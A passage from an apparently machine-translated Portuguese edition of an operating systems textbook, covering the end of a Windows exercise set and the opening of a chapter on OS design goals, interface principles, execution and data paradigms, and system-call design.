apoiado por vários diretórios de host. Por que você acha que as coisas foram implementadas dessa maneira? 
Que vantagens isso tem? Existem desvantagens? 


46. O Windows 10 introduziu um recurso conhecido como Microsoft Defender Application Guard que permite que o 
navegador Edge e os aplicativos do Microsoft Office executem um contêiner isolado de hardware e remotos a 
UI de volta para o host. O resultado é que o aplicativo parece estar sendo executado localmente, embora esteja 
realmente hospedado em um tipo de VM. Que problemas sutis de experiência do usuário isso pode causar? 


47. Quais são alguns exemplos de alterações de código que podem não ser passíveis de hotpatch ou difíceis de 
atualização? O que pode ser feito para tornar mais alterações passíveis de hotpatch? 


48. O hotpatching quebra as garantias do CFG ao introduzir novos saltos indiretos? 


49. O comando regedit pode ser usado para exportar parte ou todo o registro para um arquivo de texto em todas as 
versões atuais do Windows. Salve o registro várias vezes durante uma sessão de trabalho e veja o que muda. 
Se você tiver acesso a um computador Windows no qual pode instalar software ou hardware, descubra o que 
muda quando um programa ou dispositivo é adicionado ou removido. 


50. Escreva um programa UNIX que simule a gravação de um arquivo NTFS com vários fluxos. Deve aceitar uma lista 
de um ou mais arquivos como argumentos e escrever um arquivo de saída que contenha um fluxo com os 
atributos de todos os argumentos e fluxos adicionais com o conteúdo de cada um dos argumentos. Agora escreva 
um segundo programa para relatar os atributos e fluxos e extrair todos os componentes. 
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PROJETO DE SISTEMA OPERACIONAL 


Nos últimos 11 capítulos, cobrimos muitos assuntos e demos uma olhada em muitos 
conceitos e exemplos relacionados a sistemas operacionais. Mas estudar os sistemas 
operacionais existentes é diferente de projetar um novo. Neste capítulo, daremos uma rápida 
olhada em algumas das questões e compensações que os projetistas de sistemas operacionais 
devem considerar ao projetar e implementar um novo sistema. 

Há um certo folclore sobre o que é bom e o que é ruim circulando na comunidade de 
sistemas operacionais, mas surpreendentemente pouco foi escrito. Provavelmente o livro mais 
importante é o clássico The Mythical Man Month, de Fred Brooks, no qual ele relata suas 
experiências no projeto e implementação do 05/360 da IBM. A edição do 20º aniversário 
revisa parte desse material e adiciona quatro novos capítulos (Brooks, 1995). 


Três artigos clássicos sobre design de sistemas operacionais são “Hints for Computer 
System Design” (Lampson, 1984), “On Building Systems That Will Fail” (Corbato”, 1991) e 
“End-to-End Arguments”. em Design de Sistema" (Saltzer et al., 1984). Assim como o livro de 
Brooks, todos os três artigos sobreviveram extremamente bem aos anos; a maioria dos seus 
insights ainda são tão válidos agora como quando foram publicados pela primeira vez. 

Este capítulo baseia-se nessas fontes, bem como na experiência pessoal como designer 
ou codesigner de dois sistemas operacionais: Amoeba (Tanenbaum et al., 1990) e MINIX 
(Tanenbaum e Woodhull, 2006). Como não existe consenso entre os projetistas de sistemas 
operacionais sobre a melhor maneira de projetar um sistema operacional, este capítulo será, 
portanto, mais pessoal, especulativo e, sem dúvida, mais controverso que os anteriores. 
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12.1 A NATUREZA DO PROBLEMA DE DESIGN 


O design do sistema operacional é mais um projeto de engenharia do que uma ciência exata 
ência. É difícil definir metas claras e alcançá-las. Comecemos por estes pontos. 


12.1.1 Metas 


Para projetar um sistema operacional bem-sucedido, os projetistas devem ter uma ideia clara do 
que desejam. A falta de um objetivo torna muito difícil a tomada de decisões subsequentes. Para 
tornar este ponto mais claro, é instrutivo dar uma olhada em duas linguagens de programação, PL/I 
e C. PL/I foi projetada pela IBM na década de 1960 porque era um incômodo ter que suportar 
FORTRAN e COBOL, e É constrangedor ter acadêmicos resmungando nos bastidores que Algol era 
melhor que os dois. Então foi criado um comitê para produzir uma linguagem que fosse tudo para 
todas as pessoas: PL/I. Tinha um pouco de FORTRAN, um pouco de COBOL e um pouco de Algol. 
Falhou porque faltou qualquer visão unificadora. Era simplesmente uma coleção de recursos em 
guerra entre si e, para começar, muito complicado para ser compilado de forma eficiente. 


Agora considere C. Ele foi projetado por uma pessoa (Dennis Ritchie) para um propósito 
(programação de sistema). Foi um grande sucesso, em grande parte porque Ritchie sabia o que queria 
e o que não queria. Como resultado, ainda é amplamente utilizado mais de 50 anos após seu 
aparecimento. Ter uma visão clara do que você deseja é crucial. Outras linguagens de programação 
que foram projetadas décadas atrás por uma única pessoa com uma visão clara incluem C++ (Bjarne 
Strous trup) e Python (Guido van Rossum). É claro que apenas ter um design limpo não garante 
sucesso. Pascal, desenhado por Niklaus Wirth, era uma linguagem simples e elegante, mas já se foi. 


O que os designers de sistemas operacionais desejam? Obviamente varia de sistema para 
sistema, sendo diferente para sistemas embarcados e para sistemas de servidor. Entretanto, para 
sistemas operacionais de uso geral, quatro itens principais vêm à mente: 


1. Defina abstrações. 


2. Forneça operações primitivas. 


3. Garanta o isolamento. 
4. Gerencie o hardware. 


Cada um desses itens será discutido abaixo. 

A tarefa mais importante, mas provavelmente a mais difícil, de um sistema operacional é definir 
as abstrações corretas. Alguns deles, como processos, espaços de endereço e arquivos, existem há 
tanto tempo que podem parecer óbvios. Outros, como threads, são mais recentes e menos maduros. 
Por exemplo, se um processo multithread que tem um thread bloqueado aguardando bifurcações de 
entrada do teclado, existe um thread em 
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o novo processo também aguarda a entrada do teclado? Outras abstrações referem-se à sincronização, 
sinais, modelo de memória, modelagem de E/S e muitas outras áreas. 

Cada uma das abstrações pode ser instanciada na forma de estruturas de dados concretas. Os 
usuários podem criar processos, arquivos, pipes e muito mais. As operações primitivas 
manipular essas estruturas de dados. Por exemplo, os usuários podem ler e gravar arquivos. O 
operações primitivas são implementadas na forma de chamadas de sistema. Do usuário 
ponto de vista, o coração do sistema operacional é formado pelas abstrações e 
as operações neles disponíveis por meio das chamadas do sistema. 

Como em alguns computadores vários usuários podem estar conectados a um computador ao mesmo tempo 
ao mesmo tempo, o sistema operacional precisa fornecer mecanismos para mantê-los separados. Um 
usuário não pode interferir em outro. O conceito de processo é amplamente utilizado 
agrupar recursos para fins de proteção. Arquivos e outras estruturas de dados 
geralmente também são protegidos. Outro lugar onde a separação é crucial é na virtualização: o hipervisor 
deve garantir que as máquinas virtuais fiquem fora de cada uma. 
cabelo do outro. Garantir que cada usuário possa realizar apenas operações autorizadas no 
dados autorizados são um objetivo fundamental do projeto do sistema. No entanto, os usuários também desejam compartilhar 
dados e recursos, portanto o isolamento deve ser seletivo e sob controle do usuário. Esse 
torna tudo muito mais difícil. O programa de e-mail não deve ser capaz de dominar a Web 
navegador. Mesmo quando há apenas um único usuário, diferentes processos precisam ser isolados. 
Alguns sistemas, como o Android, iniciarão cada processo que pertence ao mesmo 
usuário com um ID de usuário diferente, para proteger os processos uns dos outros. 

Infelizmente, como vimos, vulnerabilidades em hardware e software tornam 
separação desafiadora na prática. Às vezes, as abstrações vazam e 
interações inesperadas entre software em uma camada e software ou hardware em 
outro permite que invasores roubem informações secretas, por exemplo, por meio de canais secundários. 
É responsabilidade do sistema operacional controlar o acesso aos recursos compartilhados. 
recursos e a interação para minimizar o risco de tais ataques. 

Intimamente relacionada à noção de separação está a necessidade de isolar falhas. Se 
alguma parte do sistema ficar inativa (por exemplo, um processo do usuário), ele não deverá ser capaz de 
leve o resto do sistema junto com ele. O projeto deve garantir que as diversas partes estejam bem 
isoladas umas das outras. Idealmente, partes do sistema operacional 
também devem ser isolados um do outro para permitir falhas independentes. Indo empatado 
além disso, talvez o sistema operacional deva ser tolerante a falhas e autocorretivo? 

Finalmente, o sistema operacional precisa gerenciar o hardware. Em particular, tem 
para cuidar de todos os chips de baixo nível, como controladores de interrupção e controladores de 
barramento. Ele também deve fornecer uma estrutura para permitir que drivers de dispositivos gerenciem 
os dispositivos de E/S maiores, como discos, impressoras e o monitor. 


12.1.2 Por que é difícil projetar um sistema operacional? 


A Lei de Moore diz que o hardware do computador melhora por um fator de 100 a cada 
década. Ninguém tem uma lei dizendo que os sistemas operacionais melhoram por um fator de 
100 a cada década. Ou até mesmo melhorar. Na verdade, pode-se argumentar que alguns 
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deles são piores em aspectos importantes (como confiabilidade) do que o UNIX Versão 7 era na 
década de 1970. 

Por que? A inércia e o desejo de compatibilidade com versões anteriores geralmente são os 
culpados, e a falha em aderir a bons princípios de design também é um dos culpados. Mas há 
mais do que isso. Os sistemas operacionais são fundamentalmente diferentes em certos aspectos 
dos pequenos programas aplicativos que você pode baixar por US$ 49. Vejamos oito das questões 
que tornam o projeto de um sistema operacional muito mais difícil do que o projeto de um programa 
aplicativo. 

Primeiro, os sistemas operacionais tornaram-se programas extremamente grandes. Ninguém 
consegue sentar-se diante de um PC e executar um sistema operacional sério em poucos meses. 
Ou mesmo alguns anos. Todas as versões atuais do UNIX contêm milhões de linhas de código; O 
Linux atingiu 15 milhões, por exemplo. O Windows 10 e o Windows 11 provavelmente estão na 
faixa de 50 a 100 milhões de linhas de código, dependendo do que você conta. Ninguém consegue 
entender um milhão de linhas de código, muito menos 50 ou 100 milhões. Quando você tem um 
produto que nenhum dos designers pode esperar compreender completamente, não deve ser 
surpresa que os resultados muitas vezes estejam longe do ideal. 

Os sistemas operacionais não são os sistemas mais complexos que existem. Os porta-aviões 
são muito mais complicados, por exemplo, mas são muito melhor divididos em subsistemas 
isolados. As pessoas que projetam os banheiros de um porta-aviões não precisam se preocupar 
com o sistema de radar. Os dois subsistemas não interagem muito. Não há casos conhecidos de 
vaso sanitário entupido em um porta-aviões que tenha feito com que o navio começasse a disparar 
mísseis. Em um sistema operacional, o sistema de arquivos frequentemente interage com o 
sistema de memória de maneiras inesperadas e imprevistas. 

Segundo, os sistemas operacionais precisam lidar com a simultaneidade. Existem vários 
usuários e vários dispositivos de E/S ativos ao mesmo tempo. Gerenciar a simultaneidade é 
inerentemente muito mais difícil do que gerenciar uma única atividade sequencial. As condições 
de corrida e os impasses são apenas dois dos problemas que surgem. 

Terceiro, os sistemas operacionais precisam lidar com usuários potencialmente hostis — 
usuários que desejam interferir na operação do sistema ou fazer coisas que estão proibidos de 
fazer, como roubar os arquivos de outro usuário. O sistema operacional precisa tomar medidas 
para evitar que esses usuários se comportem de maneira inadequada. Programas de 
processamento de texto e editores de fotos não enfrentam esse problema na mesma proporção. 

Quarto, apesar de nem todos os usuários confiarem uns nos outros, muitos usuários desejam 
compartilhar algumas de suas informações e recursos com outros usuários selecionados. O 
sistema operacional deve tornar isso possível, mas de forma que usuários mal-intencionados não 
possam interferir. Novamente, os programas aplicativos não enfrentam esse desafio. 


Quinto, os sistemas operacionais duram muito tempo. UNIX existe há 50 anos. Windows há 
cerca de 35 anos e Linux há cerca de 30. Nenhum desses sistemas mostra qualquer sinal de 
desaparecer tão cedo. Consequentemente, os designers têm que pensar sobre como o hardware 
e as aplicações podem mudar num futuro distante e como devem se preparar para isso. Os 
sistemas que estão muito presos a uma visão específica do mundo geralmente morrem. 
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Sexto, os projetistas de sistemas operacionais raramente sabem como seus sistemas serão 
usados, por isso precisam fornecer uma generalidade considerável. Nem o UNIX nem o Windows 
foram projetados com um navegador da Web ou streaming de vídeo HD em mente, mas muitos 
computadores que executam esses sistemas fazem pouco mais. Ninguém diz a um projetista de navio 
para construir um navio sem especificar se deseja um navio de pesca, um navio de cruzeiro ou um 
navio de guerra. E menos ainda mudam de ideia depois que o produto chega. 

Sétimo, os sistemas operacionais modernos são geralmente projetados para serem portáteis, o 
que significa que precisam ser executados em múltiplas plataformas de hardware. Eles também 
precisam suportar milhares de dispositivos de E/S, todos projetados de forma independente, sem 
relação uns com os outros. Um exemplo de onde esta diversidade causa problemas é a necessidade 
de um sistema operacional rodar em máquinas little-endian e big-endian. 

Um segundo exemplo foi visto constantemente no MS-DOS, quando os usuários tentavam instalar, 
digamos, uma placa de som e um modem que usassem as mesmas portas de E/S ou interrompessem 
linhas de solicitação. Poucos programas além dos sistemas operacionais precisam lidar com a 
resolução de problemas causados por peças de hardware conflitantes. 

O oitavo e último da nossa lista é a necessidade frequente de ser compatível com versões 
anteriores de algum sistema operacional anterior. Esse sistema pode ter restrições quanto ao 
comprimento das palavras, nomes de arquivos ou outros aspectos que os projetistas agora consideram 
obsoletos, mas aos quais estão presos. É como converter uma fábrica para produzir os carros do 
próximo ano em vez dos carros deste ano, mas continuando a produzir os carros deste ano em plena capacidade. 


12.2 PROJETO DE INTERFACE 


Já deve estar claro que escrever um sistema operacional moderno não é fácil. 

Mas por onde começar? Provavelmente o melhor lugar para começar é pensar nas interfaces que ele 
fornece. Um sistema operacional fornece um conjunto de abstrações, implementadas principalmente 
por tipos de dados (por exemplo, arquivos) e operações sobre eles (por exemplo, leitura). Juntos, 
estes formam a interface para seus usuários. Observe que, nesse contexto, os usuários do sistema 
operacional são programadores que escrevem códigos que usam chamadas de sistema, e não 
pessoas que executam programas aplicativos. 

Além da interface principal de chamada de sistema, a maioria dos sistemas operacionais possui 
interfaces adicionais. Por exemplo, alguns programadores precisam escrever drivers de dispositivos 
para inserir no sistema operacional. Esses drivers veem determinados recursos e podem fazer 
determinadas chamadas de procedimento. Esses recursos e chamadas também definem uma interface, 
mas muito diferente daquela que os programadores de aplicativos veem. Todas essas interfaces 
devem ser cuidadosamente projetadas para que o sistema tenha sucesso. 


12.2.1 Princípios Orientadores 


Existem princípios que podem orientar o design de interfaces? Acreditamos que sim. 
No cap. 9, já discutimos os princípios de Saltzer e Schroeder para um design seguro. Existem também 
princípios para um bom design em geral. Resumidamente, eles são a simplicidade, a integridade e a 
capacidade de serem implementados de forma eficiente. 
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Princípio 1: Simplicidade 


Uma interface simples é mais fácil de entender e implementar sem erros. Todos 
os projetistas de sistemas deveriam memorizar esta famosa citação do pioneiro aviador e escritor 
francês, Antoine de St. 


A perfeição não é alcançada quando não há mais nada a acrescentar, mas 
quando não há mais nada para tirar. 


Se você quiser ser realmente exigente, ele não disse isso. Ele disse: 


Parece que a perfeição soit atteinte non quand il n'y a plus rien a` 
acrescento, mais quando n'y a plus rien a` retrancher. 


Mas você entendeu. Memorize de qualquer maneira. 
Este princípio diz que menos é melhor que mais, pelo menos no sistema operacional 
em si. Outra maneira de dizer isso é o princípio do KISS: Keep It Simple, Stupid. 


Princípio 2: Completude 


É claro que a interface deve permitir fazer tudo o que os usuários 


precisa fazer, ou seja, deve ser completo. Isso nos leva a outra citação famosa, 
este de Albert Einstein: 


Tudo deve ser o mais simples possível, mas não mais simples. 


Em outras palavras, o sistema operacional deve fazer exatamente o que é necessário e não 

mais. Se os usuários precisarem armazenar dados, deverá fornecer algum mecanismo para armazená-los. 
Se os usuários precisarem se comunicar entre si, o sistema operacional deverá fornecer 

um mecanismo de comunicação e assim por diante. Em sua palestra no Prêmio Turing de 1991, 
Fernando Corbato, um dos designers do CTSS e do MULTICS, combinou os conceitos de simplicidade 

e completude e disse: 


Primeiramente, é importante enfatizar o valor da simplicidade e da elegância, pois 
a complexidade tem uma maneira de agravar as dificuldades e, como vimos, 
criando erros. Minha definição de elegância é a conquista de um determinado 
funcionalidade com um mínimo de mecanismo e um máximo de clareza. 


A ideia principal aqui é o mínimo de mecanismo. Em outras palavras, cada recurso, função e chamada 
de sistema deve ter seu próprio peso. Deveria fazer uma coisa e fazê-lo 

bem. Quando um membro da equipe de design propõe estender uma chamada de sistema ou adicionar 
algum novo recurso, os outros devem perguntar se algo terrível aconteceria se fosse deixado de fora. 

Se a resposta for: "Não, mas alguém pode encontrar esse recurso 

útil algum dia”, coloque-o em uma biblioteca de nível de usuário, não no sistema operacional, mesmo que 
é mais lento assim. Nem todo recurso precisa ser mais rápido que uma bala. O 

O objetivo é preservar o que Corbato chamou de mínimo de mecanismo. 
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Consideremos brevemente dois exemplos da nossa própria experiência: MINIX (Tan enbaum, 
2016) e Amoeba (Tanenbaum et al., 1990). Para todos os efeitos, o MINIX inicialmente tinha apenas 


três chamadas de kernel: send, receiver e sendrec. 
O sistema é estruturado como uma coleção de processos, com o gerenciador de memória, o 


sistema de arquivos e cada driver de dispositivo sendo um processo programável separado. Para 
uma primeira aproximação, tudo o que o kernel faz é agendar processos no espaço do usuário e 
lidar com a passagem de mensagens entre eles. Consequentemente, eram necessárias apenas 
duas chamadas de sistema: enviar, para enviar uma mensagem, e receber, para receber uma. A 
terceira cnamada, sendrec, é simplesmente uma otimização por razões de eficiência para permitir 
que uma mensagem seja enviada e a resposta seja solicitada com apenas uma armadilha do 
kernel. Todo o resto é feito solicitando que algum outro processo (por exemplo, o processo do 
sistema de arquivos ou o driver de disco) faça o trabalho. A versão mais recente do MINIX 
adicionou duas chamadas adicionais, ambas para comunicação assíncrona. A chamada senda 
envia uma mensagem assíncrona. O kernel tentará entregar a mensagem, mas a aplicação não 
espera por isso; ele simplesmente continua funcionando. Da mesma forma, o sistema usa a 
chamada de notificação para entregar notificações curtas. Por exemplo, o kernel pode notificar um 
driver de dispositivo no espaço do usuário que algo aconteceu — como uma interrupção. Não há 
nenhuma mensagem associada a uma notificação. Quando o kernel entrega uma notificação ao 
processo, tudo o que ele faz é virar um pouco em um bitmap por processo, indicando que algo 
aconteceu. Por ser tão simples, pode ser rápido e o kernel não precisa se preocupar com qual 
mensagem entregar se o processo receber a mesma notificação duas vezes. Vale observar que 
embora o número de ligações ainda seja muito pequeno, ele vem crescendo. O inchaço é inevitável. 
Resistir é inútil. 

Claro, estas são apenas as chamadas do kernel. A execução de um sistema compatível com 
POSIX requer a implementação de muitas chamadas de sistema POSIX. Mas a beleza disso é que 
todos eles mapeiam apenas um pequeno conjunto de chamadas de kernel. Com um sistema que 
(ainda) é tão simples, há uma chance de acertarmos. 

Ameba é ainda mais simples. Possui apenas uma chamada de sistema: realizar cnamada de 
procedimento remoto. Esta chamada envia uma mensagem e aguarda uma resposta. É 
essencialmente o mesmo que o sendrec do MINIX. Todo o resto é baseado nesta chamada. Se a 


comunicação síncrona é ou não o caminho a seguir é outra questão, à qual voltaremos na Seção. 
12.3. 


Princípio 3: Eficiência 


A terceira diretriz é a eficiência da implementação. Se um recurso ou chamada de sistema não 
puder ser implementado de forma eficiente, provavelmente não valerá a pena implementá-lo. 
Também deve ser intuitivamente óbvio para o programador quanto custa uma chamada de sistema. 
Por exemplo, os programadores UNIX esperam que a chamada de sistema Iseek seja mais barata 
que a chamada de sistema read porque a primeira apenas altera um ponteiro na memória enquanto 
a última executa E/S de disco. Se os custos intuitivos estiverem errados, os programadores 
escreverão programas ineficientes. 
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12.2.2 Paradigmas 


Uma vez estabelecidas as metas, o projeto pode começar. Um bom ponto de partida é pensar em 
como os clientes verão o sistema. Uma das questões mais importantes é como fazer com que todos os 
recursos do sistema se encaixem bem e apresentem o que costuma ser chamado de coerência 
arquitetônica. Nesse sentido, é importante distinguir dois tipos de “clientes” de sistemas operacionais. Por 
um lado, estão os usuários, que interagem com os programas aplicativos; do outro estão os programadores, 
que os escrevem. Os primeiros lidam principalmente com a GUI; os últimos lidam principalmente com a 
interface de chamada do sistema. Se a intenção é ter uma única GUI que permeie todo o sistema, como 
no MacOS, o design deve começar aí. Se, por outro lado, a intenção é suportar muitas GUIs possíveis, 
como no UNIX, a interface de chamada de sistema deve ser projetada primeiro. Fazer a GUI primeiro é 
essencialmente um design de cima para baixo. As questões são quais recursos ele terá, como o usuário 
irá interagir com ele e como o sistema deve ser projetado para suportá-lo. Por exemplo, se a maioria dos 
programas exibe ícones na tela e depois espera que o usuário clique em um deles, isso sugere um modelo 
orientado a eventos para a GUI e provavelmente também para o sistema operacional. Por outro lado, se a 
tela estiver cheia de janelas de texto, então um modelo no qual os processos são lidos no teclado 
provavelmente será melhor. 


Fazer primeiro a interface de chamada do sistema é um design de baixo para cima. Aqui as questões 
são quais tipos de recursos os programadores em geral precisam. Na verdade, não são necessários muitos 
recursos especiais para suportar uma GUI. Por exemplo, o sistema de janelas UNIX, X, é apenas um 
grande programa C que lê e escreve no teclado, mouse e tela. O X foi desenvolvido muito depois do UNIX 
e não exigiu muitas alterações no sistema operacional para funcionar. Esta experiência validou o facto de 
o UNIX ser suficientemente completo. 


Paradigmas de interface de usuário 


Tanto para a interface de nível GUI quanto para a interface de chamada de sistema, o aspecto mais 
importante é ter um bom paradigma (às vezes chamado de metáfora) para fornecer uma maneira de ver a 
interface. Muitas GUIs para máquinas desktop usam o paradigma WIMP que discutimos no Cap. 5. Este 
paradigma usa apontar e clicar, apontar e clicar duas vezes, arrastar e outras expressões em toda a 
interface para fornecer uma coerência arquitetônica ao todo. Frequentemente, há requisitos adicionais para 
programas, como ter uma barra de menu com FILE, EDIT e outras entradas, cada uma com determinados 
itens de menu bem conhecidos. Dessa forma, os usuários que conhecem um programa podem aprender 
rapidamente outro. 


Contudo, a interface do usuário WIMP não é a única possível. Tablets, smartphones e alguns laptops 
usam telas sensíveis ao toque para permitir que os usuários interajam de forma mais direta e intuitiva com 
o dispositivo. Alguns palmtops usam uma interface de escrita manual estilizada. Dispositivos multimídia 
dedicados podem usar um gravador de vídeo 
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interface. E, claro, a entrada de voz tem um paradigma completamente diferente. O que é 
importante não é tanto o paradigma escolhido, mas o facto de existir um único 
paradigma dominante que unifica toda a interface do usuário. 
Qualquer que seja o paradigma escolhido, é importante que todos os programas aplicativos utilizem 
isto. Consequentemente, os projetistas de sistemas precisam fornecer bibliotecas e kits de ferramentas para 
desenvolvedores de aplicativos que lhes dão acesso a procedimentos que produzem uma aparência uniforme. 
Sem ferramentas, todos os desenvolvedores de aplicativos farão algo 
diferente. O design da interface do usuário é importante, mas não é o assunto deste livro, 
então voltaremos ao assunto da interface do sistema operacional. 


Paradigmas de Execução 


A coerência arquitetônica é importante no nível do usuário, mas igualmente importante no nível do usuário. 
o nível da interface de chamada do sistema. Muitas vezes é útil distinguir entre o paradigma de execução e o 
paradigma de dados, por isso faremos ambos, começando pelo primeiro. 

Dois paradigmas de execução são difundidos: algorítmico e orientado a eventos. O 
O paradigma algorítmico é baseado na ideia de que um programa é iniciado para executar 
alguma função que ele conhece antecipadamente ou obtém de seus parâmetros. Essa função 
pode ser compilar um programa, fazer a folha de pagamento ou pilotar um avião para São Francisco. 
A lógica básica está embutida no código, com o programa fazendo chamadas de sistema 
de tempos em tempos para obter informações do usuário, obter serviços do sistema operacional e assim por diante. 
Essa abordagem é descrita na Figura 12.1(a). 


principal( ) principal() 
( { 
interno...; bagunça t mensagem; 
iniciar( ); 
iniciar( ); faça alguma while (receber mensagem(&msg)) ( 
coisa(); switch (msg.type) ( 
ler(...); faça outra coisa (); caso 1:...; 
escrever(...); caso 2:...; 
continue( ); caso 3:...; 
saída(0); } 


(a) (b) 
Figura 12-1. (a) Código algorítmico. (b) Código orientado a eventos. 


O outro paradigma de execução é o paradigma orientado a eventos da Figura 12.1 (b). 
Aqui o programa realiza algum tipo de inicialização, por exemplo, exibindo 
uma determinada tela e, em seguida, espera que o sistema operacional informe sobre a primeira 
evento. O evento geralmente é uma tecla sendo pressionada ou um movimento do mouse. Este projeto é 


útil para programas altamente interativos. 
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Cada uma dessas formas de fazer negócios gera seu próprio estilo de programação. 
No paradigma algorítmico, os algoritmos são centrais e o sistema operacional é considerado um provedor de 
serviços. No paradigma orientado a eventos, o sistema operacional também fornece serviços, mas esse papel 
é ofuscado pelo seu papel como coordenador das atividades do usuário e gerador de eventos que são 
consumidos pelos processos. 


Paradigmas de Dados 


O paradigma de execução não é o único exportado pelo sistema operacional. 
Um igualmente importante é o paradigma dos dados. A questão chave aqui é como as estruturas e os 
dispositivos do sistema são apresentados ao programador. Nos primeiros sistemas em lote FORTRAN, tudo 
era modelado como uma fita magnética sequencial. Os baralhos de cartas lidos foram tratados como fitas de 
entrada, os baralhos de cartas a serem perfurados foram tratados como fitas de saída e a saída para a 
impressora foi tratada como uma fita de saída. Os arquivos de disco também foram tratados como fitas. O 
acesso aleatório a um arquivo só era possível rebobinando a fita correspondente ao arquivo e lendo-a 
novamente. 


O mapeamento foi feito usando cartões de controle de trabalho como estes: 


MONTAGEM(FITAO8, CARRETEL781) 
EXECUTAR (INPUT, MYDATA, OUTPUT, PUNCH, TAPE08) 


O primeiro cartão instruiu o operador a pegar o rolo de fita 781 no rack de fita e montá-lo na unidade de fita 8. 
O segundo cartão instruiu o sistema operacional a executar o programa FORTRAN recém-compilado, 
mapeando INPUT (ou seja, o leitor de cartão) para lógica fita 1, arquivo de disco MYDATA para fita lógica 2, 

a impressora (chamada OUTPUT) para fita lógica 3, o perfurador de cartão (chamado PUNCH) para fita lógica 
4 e unidade de fita física 8 para fita lógica 5. 


FORTRAN tinha uma sintaxe bem definida para leitura e gravação de fitas lógicas. 
Ao ler a fita lógica 1, o programa obteve a entrada do cartão. Ao gravar na fita lógica 3, a saída apareceria 
posteriormente na impressora. Ao ler a partir da fita lógica 5, o rolo de fita 781 poderia ser lido, e assim por 
diante. Observe que a ideia da fita era apenas um paradigma para integrar leitor de cartão, impressora, 
perfurador, arquivos em disco e fitas. Neste exemplo, apenas a fita lógica 5 era uma fita física; o restante 


eram arquivos de disco comuns (em spool). Era um paradigma primitivo, mas foi um começo na direção certa. 


Mais tarde veio o UNIX, que vai muito além usando o modelo de “tudo é um arquivo”. Usando esse 
paradigma, todos os dispositivos de E/S são tratados como arquivos e podem ser abertos e manipulados 
como arquivos comuns. As declarações C 


fd1 = open(“arquivo1", O RDWR); fd2 = open("/ 
dev/tty", O RDWR)' = 


abra um arquivo de disco verdadeiro e o terminal do usuário (teclado + display). As instruções subsequentes 
podem usar fd1 e fd? para lê-las e escrevê-las, respectivamente. A partir daí, não há diferença entre acessar 


o arquivo e acessar o terminal, exceto que não são permitidas buscas no terminal. 
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O UNIX não apenas unifica arquivos e dispositivos de E/S, mas também permite que outros 
processos sejam acessados através de pipes como arquivos. Além disso, quando há suporte para 
arquivos mapeados, um processo pode acessar sua própria memória virtual como se fosse um arquivo. 
Finalmente, nas versões do UNIX que suportam o sistema de arquivos /proc , a instrução C 


fd3 = open("/proc/501", O RDWR); 


permite que o processo (tente) acessar a memória do processo 501 para leitura e gravação usando o 
descritor de arquivo fd3, algo útil para, digamos, um depurador. 

É claro que só porque alguém diz que tudo é um arquivo não significa que seja verdade — para 
tudo. Por exemplo, os soquetes de rede UNIX podem se parecer um pouco com arquivos, mas têm 
sua própria API de soquete bastante diferente. Outro sistema operacional, o Plan 9 da Bell Labs, não 
comprometeu e não fornece interfaces especializadas para soquetes de rede e similares. Como 
resultado, o design do Plano 9 é indiscutivelmente mais limpo. 


O Windows tenta fazer com que tudo pareça um objeto. Depois que um processo adquire um 
identificador válido para um arquivo, processo, semáforo, caixa de correio ou outro objeto do kernel, 
ele pode executar operações nele. Este paradigma é ainda mais geral que o do UNIX e muito mais 
geral que o do FORTRAN. 

Paradigmas unificadores também ocorrem em outros contextos. Um deles merece destaque aqui: 
a Web. O paradigma por trás da Web é que o ciberespaço está cheio de documentos, cada um dos 
quais possui uma URL. Digitando um URL ou clicando em uma entrada apoiada por um URL, você 
obtém o documento. Na realidade, muitos “documentos” não são documentos, mas são gerados por 
um programa ou shell script quando uma solicitação chega. Por exemplo, quando um usuário solicita 
a uma loja online uma lista de músicas de um determinado artista, o documento é gerado dinamicamente 
por um programa; certamente não existia antes da consulta ser feita. 


Vimos até agora quatro casos: ou seja, tudo é uma fita, um arquivo, um objeto ou um documento. 
Nos quatro casos, a intenção é unificar dados, dispositivos e outros recursos para facilitar o seu 
manuseio. Todo sistema operacional deveria ter esse paradigma de dados unificado. 


12.2.3 A interface de chamada do sistema 


Se alguém acredita na máxima de mecanismo mínimo de Corbato, então o sistema operacional 
deve fornecer o menor número possível de chamadas de sistema, e cada uma deve ser tão simples 
quanto possível (mas não mais simples). Um paradigma unificador de dados pode desempenhar um 
papel importante para ajudar aqui. Por exemplo, se arquivos, processos, dispositivos de E/S e muito 
mais se parecerem com arquivos ou objetos, todos poderão ser lidos com uma única chamada de 
sistema de leitura . Caso contrário, pode ser necessário ter chamadas separadas para read file-read 


proc e-read tty, entre outras. 
As vezes, as chamadas do sistema podem precisar de diversas variantes, mas geralmente é 


uma boa prática ter uma chamada que lide com o caso geral, com diferentes procedimentos de biblioteca. 
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esconder esse fato dos programadores. Por exemplo, o UNIX possui uma chamada de sistema para 
sobrepor o espaço de endereço virtual de um processo, exec. A chamada mais geral é 


exec(nome, argp, ambiente); 


que carrega o nome do arquivo executável e fornece argumentos apontados por argp e variáveis de 
ambiente apontadas por envp. Às vezes é conveniente listar os argumentos explicitamente, de modo 
que a biblioteca contém procedimentos que são chamados da seguinte forma: 


execl(nome, argo0, arg1, ..., argn, 0); execle(nome, 
argo0, arg1, ..., argn, envp); 


Tudo o que esses procedimentos fazem é colocar os argumentos em um array e então chamar exec para fazer 
o trabalho real. Esse arranjo é o melhor dos dois mundos: uma única chamada de sistema direta mantém o 


sistema operacional simples, mas o programador obtém a conveniência de várias maneiras de chamar exec. 


É claro que tentar fazer uma ligação para lidar com todos os casos possíveis pode facilmente sair do 


controle. No UNIX, a criação de um processo requer duas chamadas: fork seguida de exec. 
O primeiro não possui parâmetros; o último tem três. Por outro lado, a chamada WinAPI para criar um 


processo, CreateProcess, possui 10 parâmetros, um dos quais é um ponteiro para uma estrutura com 
18 parâmetros adicionais. 

Há muito tempo, alguém deveria ter perguntado se algo terrível aconteceria se algumas destas 
coisas tivessem sido omitidas. A resposta verdadeira teria sido que, em alguns casos, os 
programadores teriam que trabalhar mais para alcançar um efeito específico, mas o resultado líquido 
teria sido um sistema operacional mais simples, menor e mais confiável. É claro que a pessoa que 
propôs a versão de 10 + 18 parâmetros poderia ter acrescentado: "Mas os usuários gostam de todos 
esses recursos." A réplica poderia ter sido que eles gostam de sistemas que usam pouca memória e 
nunca travam ainda mais. As compensações entre mais funcionalidade ao custo de mais memória 
são pelo menos visíveis e podem receber uma etiqueta de preço (já que o preço da memória é 
conhecido). No entanto, é difícil estimar as falhas adicionais por ano que algum recurso irá adicionar 
e se os usuários fariam a mesma escolha se soubessem o preço oculto. Este efeito pode ser resumido 
na primeira lei do software de Tanenbaum: 


Adicionar mais código adiciona mais bugs. 


Adicionar mais recursos adiciona mais código e, portanto, mais bugs. Os programadores que 
